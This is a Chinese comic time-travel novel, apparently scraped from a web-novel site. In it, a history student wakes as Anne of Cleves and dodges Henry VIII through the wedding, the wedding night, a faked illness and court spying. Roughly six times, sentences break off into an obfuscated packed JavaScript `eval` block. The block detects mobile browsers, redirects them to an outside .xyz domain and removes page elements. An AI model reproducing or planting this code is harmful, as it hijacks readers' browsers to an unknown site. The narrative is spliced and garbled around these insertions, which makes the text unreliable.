《穿越后我成了亨利的冤种老婆》 1. 亨利的新娘，安妮的心凉 第一章 新娘 格林威治宫，1540 年 1 月 6 日，寅时三刻，夜色像一条厚重的天鹅绒帘子，把整座宫殿裹得密不透风。 烛火在壁龛里发抖，蜡泪顺着烛身往下爬，像一条条细小的白色蜈蚣。安妮·克里夫斯就在这样的光里醒来，额头抵着湿冷的壁画，圣母的鼻尖戳在她发髻上，冰凉得像一枚宣判的印章。她先是闻到霉木与蜂蜡混合的味道，接着看见天花板——其实是穹顶，高得仿佛能把人吸进去，彩绘的上帝正板着脸，目光炯炯，好像随时准备开罚单。 她眨眨眼，花了足足三秒钟才确认：这不是自己的 12 平米出租屋，也不是图书馆的自习室。她伸手去摸床沿，摸到一块雕花木栏，雕花是缠枝玫瑰与狮子纹章——玫瑰代表都铎，狮子代表英格兰，两者组合在一起，等于“亨利八世到此一游”。 “完了。”她喃喃，“毕业论文还没写完，就被抓来当现场嘉宾。” 她坐起身，赤脚踩在石板上，寒意顺着脚心直冲天灵盖。烛台只剩拇指长的一截火，火光把她的影子拉得老长，像一条被风吹歪的问号。桌上摊着一封信，封口蜡戳是狮冠与龙，拆开——拉丁文花体，她却读得毫不费力，仿佛大脑自带 OCR： “致我未来的第四任妻子，德意志的安妮公主……” 落款：亨利八世。 信纸在她手里发出轻微的哗啦声，像枯叶，也像判决书。她把信倒扣在桌上，深呼吸三次，然后狠狠掐自己大腿——疼，疼得想哭。不是梦，是限时生存综艺，冠军奖品：脖子以上完整。 她环顾四周：挂毯上是猎鹿图，鹿的眼神惊恐，和她对视；矮柜里摆着一只琥珀色玻璃瓶，标签用哥特体写“解毒糖浆”，味道估计介于止咳糖浆与醋栗酒之间；最底层抽屉里躺着一条绣骷髅头的小手帕，不祥值加一。她把解毒糖浆塞进束身衣暗袋，和心脏做邻居，心想：万一国王请我喝下午茶，至少能自救。 门吱呀一声裂开一条缝，两颗脑袋叠罗汉似的探进来。侍女甲压低声音：“殿下睡得可香？”侍女乙接话：“听说德意志公主不睡满十二时辰，脸会肿成马。”两颗脑袋窃笑，像两只偷油的小老鼠。安妮把被单拉到鼻尖，只露出一双眼睛——社交恐惧症的出厂设置。她决定先装睡，等老鼠们撤退，再执行《穿越者求生 SOP》。 老鼠一走，她立刻下床，光脚在房间里搜证。衣柜门洞开，一件金线织锦婚袍静静垂挂，重得可以当防弹背心；梳妆台上摆着一只象牙柄发刷，刷背上刻着 H VIII，仿佛随时提醒使用者：梳头也得有皇家授权。 她推开窗，雪片迎面扑来，像一群调皮的小精灵。远处泰晤士河被冻成一条银链，河对岸的塔楼顶上，一块方形平台在月光下泛着青白——那是伦敦塔的断头台预定席，安妮·博林和凯瑟琳·霍华德都曾在那上面签过人生最后一张单程票。安妮“刷”地拉上窗扇，连带把寒风和塔楼一起关在玻璃外：“眼不见，心不颤。” 桌上还有一盘冷鹌鹑和一罐蜂蜜酒。她犹豫三秒，决定先填饱肚子再写遗书。第一口鹌鹑肉还没咽下，她突然想起：试毒员今天是不是请假？于是她放下刀叉，把整盘鹌鹑推到一边，礼貌地说：“您先请，陛下。”鹌鹑毫无反应，依旧死得安详。她改喝清水，顺手把蜂蜜酒往地上一倒，权当给地板消毒。 雪声、风声、远处更鼓声，三重奏。安妮坐在床边，拿鹅毛笔蘸墨水，却迟迟落不下去。写什么？给 21 世纪导师写请假条？“尊敬的教授：因被时空乱流卷进都铎王朝，论文可能迟交五百年。”太荒谬。她换一张纸，开始列《怕死清单 1.0》： 1. 绝不在国王面前打喷嚏（黑死病 PTSD）。 2. 绝不主动提“生孩子”（怕暴露没圆房）。 3. 若国王说“惊喜”，立即微笑，同时确认脖子完整。 写到第三条，笔杆“啪”一声断了。她抬头，看见圣母在穹顶继续板着脸；鹿在挂毯上继续惊恐；雪在窗外继续落。她裹紧斗篷，缩回床上，像把刀收回鞘。 现在，让我们把时间拨快一点，介绍那位让全欧洲失眠的男人——亨利八世。 亨利八世，全名亨利·都铎，生于 1491 年 6 月 28 日，双子座，性格里自带“分手就砍头”的极 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155891|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 端套餐。他原本是次子，注定当闲散王爷，可哥哥亚瑟 15 岁早逝，王位像烫手山芋一样砸在他头上。亨利从小接受人文主义教育，能写拉丁文情诗，也能在比武场里把对手挑下马；他英俊、高大、红发如火，年轻时是欧洲最抢手的黄金单身汉。 然而，王位像一把放大镜，把优点放大，也把缺点放大。亨利想要男性继承人，第一任妻子凯瑟琳没能生儿子，于是他以“无子”为由提出离婚，罗马教皇不同意，他干脆宣布英格兰脱离教廷，自己当教会老大。第二任妻子安妮·博林生下伊丽莎白，依旧不是儿子，于是安妮被控通奸、□□、巫术，最终走上断头台。第三任简·西摩终于生了爱德华，却因产褥热去世。第四任，就是现在的安妮·克里夫斯——也就是我，一个历史系研究生，一觉醒来成了国王的“续弦”。 亨利八世的婚姻像一场高风险投资，回报率是“男性继承人”，失败代价是“妻子人头”。他不仅亲手改写英格兰宗教版图，还把“离婚”这个词变成血淋淋的动词。全欧洲都在赌：第四任安妮能坚持几个月？ 回到格林威治宫的凌晨。安妮躺在床上，听见自己的心跳——咚、咚、咚，像有人在倒计时，也像有人在敲小步舞的鼓点。她想起中世纪史教授的话：“亨利八世不是暴君，他是被继承焦虑逼疯的普通人，只不过普通人没有权力把焦虑变成砍头。” 她把自己缩成更小的一团，用德语小声数数：“Eins, zwei, drei……” 数到 zehn 时，她忽然意识到：恐惧不是弱点，是雷达。雷达越灵敏，越能提前发现断头台的脚步声。 窗外，雪停了，天色泛起蟹壳青。远处传来马蹄声，铁蹄踏在石板路上，像一串沉闷的鼓点。安妮知道，那是国王的御前侍卫在换岗，也是她人生倒计时的开始。 她深吸一口气，把《怕死清单 1.0》折成小小一块，塞进束身衣最里层，贴身贴着心跳。然后她闭上眼睛，对自己说： “欢迎来到十六世纪，胆小鬼。活下去，才能写论文。” 烛火终于熄灭，一缕青烟笔直上升，像一条细小的逃生路线。 2. 第二章 婚礼，或如何在国王的口臭里寻找逃生通道 格林威治宫皇家礼拜堂，1540 年 1 月 6 日，上午十点 雪后初晴，阳光透过彩绘玻璃，把礼拜堂切成一块一块的彩色布丁。安妮·克里夫斯站在侧门口，手里捧着一束由十二朵白玫瑰、十二朵红玫瑰和一大把迷迭香扎成的“政治花束”——白玫瑰是约克，红玫瑰是兰开斯特，迷迭香的意思是“我记得”，可惜没人问她到底想记什么。 她的婚纱重得像一整套板甲：金线织锦里夹着银线，银线里夹着珍珠，珍珠外又缝了一圈小铃铛，走路自带 BGM——叮当、叮当，像送葬，也像招财猫。 她每走一步，心里就默背一句《怕死清单 2.0》： 1. 微笑时露 5 毫米上齿（太多轻浮，太少哭丧）。 2. 裙摆扫地的弧度保持 45°（方便下跪，也方便跑路）。 3. 如果国王张嘴，先屏住呼吸 3 秒（理由稍后揭晓）。 侍童把门打开，寒风卷着雪末冲进来，像一群迟到观众。安妮深吸一口气，抬脚—— 叮当！ 左脚踩住右脚铃铛，差点原地行大礼。全场贵族齐刷刷回头，目光像一片钢针。 她尴尬地笑了笑，内心弹幕疯狂刷屏： 【系统提示：您已触发被动技能——社死光环。】 通道尽头，亨利八世正站在高台，红发在彩窗光里烧成一团火。真人比画像更魁梧，肩膀宽得能停一只猎隼。他今天穿金线锦缎，胸口别着一颗拇指大的红宝石——那颜色让安妮想起“动脉出血”。 亨利微笑，露出两排牙齿，远远看去像一排新鲜墓碑。 安妮心里咯噔一下：原来“国王的微笑”是动词，意思是“我要开始吃人了”。 ——然后，她闻到了味道。 那是一种混合了玫瑰水、麝香、葡萄酒、烤肉以及……牙垢的复杂气息，像中世纪生化武器。 她立刻启动清单第 3 条：屏息 3 秒，然后缓缓用嘴呼气，假装被圣光感动得热泪盈眶。 实际上，她在心里疯狂呼叫：【谁有薄荷糖？我愿用一年寿命换一把！】 为了分散注意力，她开始偷听周围对话——感谢穿越附赠的“德语+英语+法语+拉丁语”同声传译外挂。 左侧，国王的宠臣托马斯·卡尔佩珀（传说中王后的“售后维修工”）正和查尔斯·布兰登（国王发小，资深老渣男）咬耳朵。 卡尔佩珀压低声音：“听说新娘长得像马。” 布兰登用酒杯挡住嘴：“马也有好看的，比如安达卢西亚白马。” 卡尔佩珀：“可陛下想要的是独角兽。” 两人同时发出“嘿嘿嘿”的低笑，像一只漏气的风箱。 安妮：…… 【系统提示：您已收到新标签——“马系新娘”。】 右侧，大法官托马斯·奥德利（离婚案金牌律师）正在给书记员布置 KPI： “记好了，婚礼誓词一字不能错，万一六个月后需要‘撤销合同’，我们得有证据表明 ‘合同双方存在重大误解’。” 书记员点头如捣蒜，笔尖在羊皮纸上沙沙作响，像在提前起草离婚协议。 安妮：…… 【系统提示：您的婚姻保质期已被法务部设置为 180 天。】 风琴突然轰鸣，把她从偷听模式震回主线。 神父举起十字架，声音洪亮：“亨利，你愿意娶这位女子为妻，按照上帝的律法，与她结合，保护她，尊重她……” 亨利回答：“我愿意。”声音洪亮得像炮弹出膛。 神父转头：“安妮，你愿意……” 安妮张了张嘴，发现自己忘了呼吸。 全场寂静三秒，只听见她裙摆上的铃铛在风中叮当作响，像一串倒计时。 她赶紧点头：“我愿意。” 因为紧张，德语口音把 “Ich will” 发成了 “Ich wülle”，听起来像 “I will, but reluctantly”。 贵族群里立刻响起一阵低低的窃笑——文艺复兴时代的弹幕：【新娘好像不太情愿？】 亨利挑眉，笑意更深，牙垢味随呼吸扑面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155892|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而来。 安妮再次启动屏息大法，同时在脑内给自己配音：【恭喜您完成主线任务“口头同意”，接下来请挑战 boss“洞房”。】 交换戒指环节。 亨利拿出一枚镶着八角形钻石的金戒指，尺寸大得能套住安妮两根手指。 他低声说：“这是从教皇特使那里抢来的，据说能保平安。” 安妮：？？？ ——到底是保平安还是保不平安？ 她努力把戒指戴到拇指上，假装很合适。钻石在烛光里闪出一道冷光，像一把迷你断头台。 宣誓结束，风琴再次轰鸣，礼成。 亨利俯身，在她耳边说了一句“悄悄话”，声音不大，却足以让前排贵族听得一清二楚： “晚上见，我的小马驹。” 温热气息喷在她耳廓，带着葡萄酒和牙垢的二次暴击。 安妮微笑，眼角抽搐，内心尖叫：【系统！申请回档！我选二周目！】 走出礼拜堂时，阳光正好，雪光反射着金线婚纱，安妮整个人像一颗行走的迪斯科球。 贵族们鼓掌，雪花落在掌心里，化成水珠，像提前到来的冷汗。 她在心里更新《怕死清单 2.1》： 4. 洞房前务必用迷迭香漱口（掩盖口臭）。 5. 把解毒糖浆藏在枕头下（双重保险）。 6. 如果国王说“惊喜”，先确认门没锁，窗户够大。 远处，卡尔佩珀和布兰登还在笑。 卡尔佩珀：“赌五枚金币，撑不过半年。” 布兰登：“我赌四个月。” 安妮：…… 【系统提示：您的婚姻已进入倒计时，请享受限时体验。】 她抬头，看见彩绘玻璃上的圣乔治正举剑屠龙，龙血溅了一地，红得像那颗戒指。 安妮深吸一口气，小声对自己说： “屠龙之前，先学会在龙息里呼吸。” 叮当，叮当，裙摆上的铃铛一路响回寝宫，像一首不合时宜的安魂曲，也像一首偷偷排练的逃生序曲。 3. 圆房失败，或国王与马脸新娘的双向奔赴——奔赴的方向完全相 一、幕布拉开前的暖场 婚礼当夜，格林威治宫的新房被布置成大型玫瑰屠宰场： ——红玫瑰铺地，白玫瑰铺床，迷迭香挂墙，空气里甜到齁嗓子的香味，足以让一只蜜蜂当场得糖尿病。 安妮站在门口，手里端着一杯“勇气水”（葡萄酒兑三滴解毒糖浆，味道像感冒灵配伏特加）。 她低头数裙摆上的铃铛：叮、叮、叮……叮到第七声，亨利出现了。 新郎官今晚的穿搭主题是“行走的红包”：大红天鹅绒睡衣，胸口绣金玫瑰，腰间挂一条足金流苏，走一步哗啦啦，仿佛提前为钱包送终。 他的表情则属于“下班路上发现忘带钥匙”——礼貌中带着不耐，不耐中带着“我想睡觉”。 二、正式开演——国王的吻像卤味拼盘 侍女们在门外排成一排，耳朵贴门缝，姿势统一得像新买的晾衣夹。 亨利清了清嗓子，决定先把流程走完。 他捧起安妮的脸，深情款款地俯身—— 安妮屏住呼吸，心里默背：迷迭香、薄荷、屏息、微笑、别吐。 两秒后，她意识到：国王今晚的菜单是—— 前菜：洋葱炖鹿肉； 主菜：烤大蒜配鹅肝； 甜点：酒渍葡萄干； 以及贯穿始终的、发酵得恰到好处的口臭。 她坚持到第三秒，眼泪差点掉下来——不是感动，是熏的。 亨利松开她，咂咂嘴，像在回味最后一根鹅骨。 “亲爱的，”他说，“你今晚真……独特。” 安妮眨眼：这“独特”是夸我还是骂我脸长？ 三、床戏变床技——被子里的太极推手 玫瑰花瓣铺得太厚，人一躺下就陷进去，像掉进草莓果酱。 亨利试图把安妮往怀里揽，结果手先摸到一层铃铛。 叮——铃—— “嘶，”亨利倒抽一口气，“谁把圣诞节挂饰缝被窝里了？” 安妮赶紧往旁边挪，挪得太猛，膝盖撞到国王小腿。 “嗷！”亨利一声惨叫，声音大得门外侍女同步皱眉。 侍女甲小声：“听起来像国王被马踢了。” 侍女乙：“马？屋里哪有马？” 侍女丙：“别忘了，新娘外号——” 三人异口同声：“马脸。” 然后一起咬住嘴唇，免得笑出声。 亨利揉着小腿，脸色已经由红转青，像一块被反复加热的牛排。 他决定采用 Plan B：直接上嘴，堵住新娘的嘴—— 刚碰到安妮的唇，铃铛再次响起，叮—— 这次连安妮也被吓一跳，条件反射往后一仰。 “咚！”国王的脑袋磕在床柱上，声音清脆，堪比宫廷乐队开场锣。 四、剧情急转——国王掀被子跑路 亨利坐起身，深呼吸，再深呼吸，然后—— 他看了一眼安妮，又看了一眼满床玫瑰，最后看了一眼自己肿起来的小腿和脑袋，得出一个结论： 今晚的 KPI 完不成了。 他清清嗓子，声音里带着“我要去洗手间再也不回来”的温柔： “亲爱的，我忽然想起，枢密院……呃，还有急件。” 安妮秒懂，秒怂，秒配合，瞬间把被子拉到下巴，眨巴眨巴眼： “国事为重，陛下。” 她甚至体贴地补了一句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155893|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“玫瑰太滑，小心脚下。” 亨利下床穿鞋，动作快得像背后有狼追。 走到门口，他又回头，补上一个商务微笑： “明早见。” 门“咔哒”一声关上，安妮听见他低声吩咐侍卫： “去，把托马斯·卡尔佩珀叫来——立刻，马上，带着他的脑袋一起。” 五、门外的深夜吐槽大会 国王前脚刚拐过走廊，侍女后脚就开启微信群语音： 侍女甲：“圆房结束？用时比烤一只鹌鹑还短。” 侍女乙：“听说陛下踢到铃铛，声音像铁匠铺开张。” 侍女丙：“可怜的铃铛，差点被踢成扁平足。” 她们笑到肩膀抖，又怕声音太大，集体把脸埋进围裙里。 更远一点，亨利正把卡尔佩珀堵在走廊拐角。 国王的声音压得低，却挡不住火气： “你不是说德意志公主‘温顺如羊’？羊会半夜踢人？” 卡尔佩珀试图解释：“陛下，羊也有脾气——” 亨利抬手，差点把红宝石戒指甩出去：“闭嘴！从明天起，你去诺森伯兰数羊，数到你能写出一首《温顺颂》再放你回来！” 卡尔佩珀欲哭无泪，背影写满“我推荐的明明是独角兽，怎么到货变马”。 六、尾声——玫瑰味的尴尬 门内，安妮把整张脸埋进枕头，闷声大笑，笑得铃铛跟着乱响。 她伸手摸到床柱上新鲜的国王头印，小声嘀咕： “亨利，谢谢你，让我保住了脑袋，也保住了初吻的贞操。” 窗外，雪又开始落，一片一片盖在玫瑰上，像给这场失败的圆房盖了张白色被子—— 4. 德意志感冒 格林威治宫，1540 年 2 月 14 日清晨。情人节，整座宫殿飘着玫瑰与烤羊的混合香氛——对安妮·克里夫斯而言，这味道只意味着一件事：国王又要来补作业。 她连夜制定了作战计划，代号“德意志感冒”。步骤如下： 1. 凌晨四点，冷水澡； 2. 误服中世纪药草； 3. 侍女端来狗尿； 4. 达成“隔离＋休假”双杀。 一、冷水澡：战术性喷嚏 井水一桶一桶浇下来，安妮的牙齿自动演奏《M?gdlein》四四拍。她一边哆嗦一边给自己加油：“冷就对了！发抖就能保命！” 十分钟后，她成功把自己冻成一根德意志冰棍，鼻尖红得可以顶替圣诞麋鹿。 二、药草地狱：红包世界地图 御医的驱寒套餐：鼠尾草＋大蒜＋蜂蜜，内服；荨麻＋芥末，外敷。安妮嫌疗效不够刺激，又偷偷加了一撮颠茄——传说中女巫飞行粉。 结果三管齐下，她当晚化身行走的红点：额头 39℃，胸口红海，后背美洲新大陆，连瞳孔都放大成埃及艳后。 三、狗尿退烧：胡椒的高光时刻 偏方要求“健康公犬之晨尿”。侍女甲牵来猎犬胡椒，胡椒尾巴摇得像节拍器，膀胱库存充足。 当胡椒牌特调端到床前，安妮两眼一翻，直接吓昏—— 王后扑通倒床，狗尿扑通洒地。胡椒昂首挺胸，仿佛完成国事访问。 四、病房修罗场：亨利光速撤退 亨利推门瞬间，被洋葱＋大蒜＋狗尿＋玫瑰香薰的混合气味击退三步。 “我的爱……呕……好点了吗？” 安妮气若游丝：“陛下，我得了会传染的德意志感冒。” “传染？”亨利立刻后退半步，红发炸成蒲公英。 御医补刀：“陛下若病倒，枢密院无人签字。” 逻辑清晰，直击痛点。亨利转身就走，顺手把胡椒也带走——官方理由是“隔离”，真实理由是“保命”。 五、里士满行宫：单人隔离舱 安妮裹着毯子，病号餐依旧英伦三件套：水煮燕麦、水煮羊肉、水煮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155894|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 豌豆。 胡椒因“护驾有功”正式升职为贴身护卫，每天蹲在床边摇尾巴。 安妮咬一口面包，说一句吐槽；胡椒摇一次尾巴，活像审稿编辑。 “胡椒，英国菜依旧稳定发挥，我已学会用想象力给燕麦加咖喱。” 尾巴摇。 “胡椒，至少你不会逼我生孩子。” 尾巴继续摇，节奏精准，表示“本编辑同意发表”。 六、尾声：红包褪成玫瑰粉 十天后，皮疹退潮，体温回到人类范畴。镜中的安妮白了一个色号，眼睛因颠茄后遗症显得更大，整体效果：德意志瓷娃娃误入中世纪。 她伸个懒腰，总结战果： “冷水澡＋偏方＝亨利远离＋假期到手。” 窗外春风卷草籽，胡椒汪了一声，表示点赞。 至于狗尿偏方？ 它成功晋升宫廷年度黑段子： “还记得那年情人节吗？王后闻起来像洋葱狗。” 说完，所有人笑成一团，连胡椒都摇着尾巴，仿佛听懂了自己的史诗级贡献。 5. 墙里有耳 里士满行宫，1540 年 3 月 一、王后搬家，国王放羊 安妮的“德意志感冒”在格林威治宫传得比流感还快： “王后浑身红包，像新大陆地图。” “王后自带狗尿味空气清新剂。” 亨利八世一听，当场批了“公费疗养”——里士满行宫，离伦敦四十里，离他起码八十里。 搬家那天，安妮只带了三箱书、一条狗（胡椒）和一身荨麻疹后遗症。 亨利则带了两打乐师、六桶葡萄酒、外加十名枢密顾问，浩浩荡荡去了汉普顿宫——据说那里新来了一位意大利舞姬，腰细得能穿过指环。 二、大臣们的早朝八卦 枢密院里，聪明人已经提前交卷： 财政大臣：“陛下，王后的医疗费可列‘国防预算’——毕竟她若痊愈，您又得回去受罪。” 托马斯·卡尔佩珀（上次被发配数羊，刚逃回）： “臣已物色三位候选人： 1. 布鲁塞尔的刺绣女，金发，会唱牧歌； 2. 诺福克的寡妇，红发，会打猎； 3. 宫廷乐师的妹妹，棕发，会弹鲁特琴—— 陛下可实行‘轮班制’。” 亨利摸胡子：“红发？和王后撞色号，pass。先见棕发那位——音色动人，想必别处也动人。” 众臣交换眼神：王后还没凉透，新欢已经预热。 三、里士满的夜，自带回声 里士满行宫年久失修，墙壁空鼓，风一吹就自带环绕立体声。 安妮第一天入住，半夜就听见“沙沙——沙沙——” 不是老鼠，节奏太稳；不是风声，节拍太准。 她屏住呼吸，把耳朵贴在壁毯上，沙沙声立刻停止。 等她一翻身，声音又继续，像有人用羽毛笔在石缝里练签名。 四、胡椒的耳朵比人好用 狗耳朵一竖，鼻子对着墙根低吼。 安妮抄起床头烛台（铁制，进可照明退可敲人），另一只手摸出匕首——上回通风口探险装备，这回直接派上用场。 她轻轻掀开壁毯，发现那块松动的砖缝里，塞着一根空心芦苇杆。 芦苇杆里残留一点蜡油味，显然刚才有人在另一端偷听。 安妮把芦苇杆抽出来，里面掉出一张对折的小纸条： “王后今日咳否？” 字迹娟秀，像出自受过良好教育的秘书。 她瞬间清醒：这不是随机小贼，是定向监控。 五、谨慎等级＋3 第二天清晨，安妮升级了防御套餐： 1. 床脚撒面粉——脚印会自曝行踪； 2. 壁毯后挂小铃铛——有人掀布就报警； 3. 每晚睡前把胡椒拴在砖缝下方——狗鼻子＋狗嗓子，双重保险； 4. 把《怕死清单》更新到 4.0： “如果墙再说话，先问它要不要交房租。” 六、隔墙有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155895|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耳，耳后有墙 更诡异的是，第三天夜里，芦苇杆里传来新的声音——这回不是沙沙，是极轻的口哨，旋律竟是《M?gdlein, kü? den Wind》。 安妮后背的汗毛集体起立。 知道这首童谣的只有两个人：她和伊丽莎白。 可伊丽莎白此刻应该在伦敦塔上拉丁文课，而不是里士满的墙缝里练口技。 她咬住唇，把蜡烛靠近芦苇杆，轻声回了一句： “风太大，听不清。” 口哨声戛然而止。 片刻后，砖缝里塞回一张更小的纸条： “王后慎言，墙外也有人。” 落款是一只画得十分潦草的耳朵。 七、胡椒的尾巴打节拍 狗不知道政治，狗只知道有人靠近就吼。 夜里，胡椒的尾巴从“摇”变成“炸毛”，安妮把匕首塞进枕头下，心里默念： “墙里有耳，耳后有墙，墙外有……整个英格兰。” 她把毯子拉到鼻尖，像给自己套上一层软甲。 风继续吹，墙继续响，但这一次，她决定先学会在回声里藏住自己的心跳。 窗外月色惨白，照得行宫像一座巨大的棋盘。 安妮轻轻拍了拍胡椒的脑袋，低声说： “别怕，我们只是从玫瑰棋盘，跳进了风声棋盘。” 狗听不懂，但它摇了摇尾巴，像在说： “放心，我负责闻，你负责赢。” 6. 初见，或躲在柱子后的那团月光 里士满行宫，1540 年 4 月 7 日，午后亨利八世今天异常和蔼，连胡子都修得比平时圆润。他在镜子前练习了半刻钟的慈父微笑，才下令把孩子们领到王后面前。“王后，”他说，声音里带着一种罕见的、几乎可称为温柔的调子，“你该认识认识朕的——孩子们。”安妮在心里补完他的潜台词：——以及他们各自携带的政治地雷。门被推开，阳光像一条金色的河流涌进来。首先是爱德华，六个月的小王子，裹在奶香和襁褓里，像一颗会皱眉的奶黄包。他睁大眼睛，好奇地打量这个陌生的世界，然后打了个奶嗝，算是打过招呼。接着是玛丽，二十岁的长公主，表情礼貌，眼神像冰镇的玫瑰。她向安妮行了一个无可挑剔的屈膝礼，动作优雅，却带着一种难以逾越的距离感。最后——没有最后。门口只剩一根巨大的橡木柱子，柱子后隐约露出半张脸，一双灰绿眼睛滴溜溜地转。亨利清了清嗓子，声音里带着一丝无奈：“伊丽莎白，出来。”柱子纹丝不动。国王的耐心像他的腰带一样有限，他大步走过去，一把拎出那只躲猫猫的小团子。六岁的伊丽莎白今天穿了件淡蓝裙子，领口绣着小雏菊，手里攥着一束迷迭香，像刚从小花园逃学回来。被父亲拎出来后，她不慌不忙，先把迷迭香别在耳后，然后——屈膝，低头，双手拎裙角，动作标准得像个迷你宫廷礼仪老师。问题是，她行礼的对象不是亨利，也不是安妮，而是——安妮的影子。安妮愣住。亨利也愣住，尴尬地咳嗽：“咳咳，这是王后，快问安。”伊丽莎白抬头，嘴角抿成一条狡黠的线，声音奶声奶气，却带着早熟的笃定：“您笑起来像藏着秘密。” 客厅瞬间安静，连奶黄包爱德华都打了个奶嗝。安妮的嘴角还保持着社交微笑，但心里弹幕狂刷：【六岁？这分明是迷你版福尔摩斯！】她蹲下身，让自己与伊丽莎白平视，轻声问：“那你呢？你藏了什么？”小姑娘眨眨眼，把剩下的迷迭香递过来：“我藏在这里。”说完，又躲回柱子后，只剩一双眼睛在暗处闪光，像两颗偷偷落地的晨星。亨利干笑两声，试图找回场子：“孩子嘛，总爱胡言乱语。”安妮却微微欠身，向柱子方向行了一个一模一样的屈膝礼，动作优雅，裙摆铃铛轻响。柱子后传来极轻极 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155896|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻的笑，像一只小狐狸得逞。亨利决定结束这场“家庭日”，他抱起爱德华，像抱起一个随时会爆炸的奶黄包，匆匆离开。玛丽礼貌告退，裙摆扫过门槛，像一朵冰玫瑰悄然离去。客厅里只剩下安妮和柱子，以及柱子后面那团不肯露面的月光。 安妮把迷迭香别在自己耳后，小声说：“秘密保管好，下次换我躲。”柱子后传来极轻的脚步声，像风跑过走廊。那一刻，安妮知道：她们之间有了第一场共谋——一个假装没看见，一个假装被看见；一个把秘密藏在笑里，一个把笑藏进秘密。 安妮回到房间，把迷迭香插在床头的小瓶里，花香在夜里悄悄扩散。她翻开《怕死清单》，在附录里添了一条：“如遇六岁小福尔摩斯，务必微笑五毫米，不可多露牙齿。”窗外，月光照进里士满行宫，像一条银色的河流，悄悄流过那根巨大的橡木柱子。柱子后，一双灰绿眼睛在暗处闪烁，像两颗不肯落地的晨星。 第一次正式见面，就这样结束在一句奶声奶气的拆台里。而那句“你笑起来像藏着秘密”，被安妮悄悄记进心底，像一颗小小的种子，在月光下悄悄发芽。 7. 第七章《夜风教坏小玫瑰》 风在塔外，我在塔内风像一把磨快的刀，从泰晤士河面一路砍进塔窗。我把斗篷裹到鼻子，只剩手指在外——手指在发抖，不是因为冷，而是怕。怕亨利今晚又来“试婚”，怕侍女们在背后笑，更怕自己一开口就泄露出不属于这个世纪的口音。于是我哼起那首歌。母亲哄我睡时唱过，我哄自己别哭时也唱过。 “M?gdlein, kü? den Wind……” 声音低到只有我能听见，可它还是飘了出去。 ——塔楼下，一个更小的影子屏住了呼吸。伊丽莎白提着一盏偷来的猪油灯，赤脚踩在石阶上。她原本只想爬上来捡一只被风吹走的纸鸢，却听见一种陌生的语言，像羽毛拂过铁甲，软得不可思议。她仰头，看见安妮·克里夫斯背对月光，风把她的头纱撕成长长的白线。那旋律一句一句，像把钥匙，正悄悄开她的耳朵。【二】交换的谜语安妮唱完第三遍才发现楼梯口的微光。她猛地转身，差点踩到自己的裙撑。“谁？” 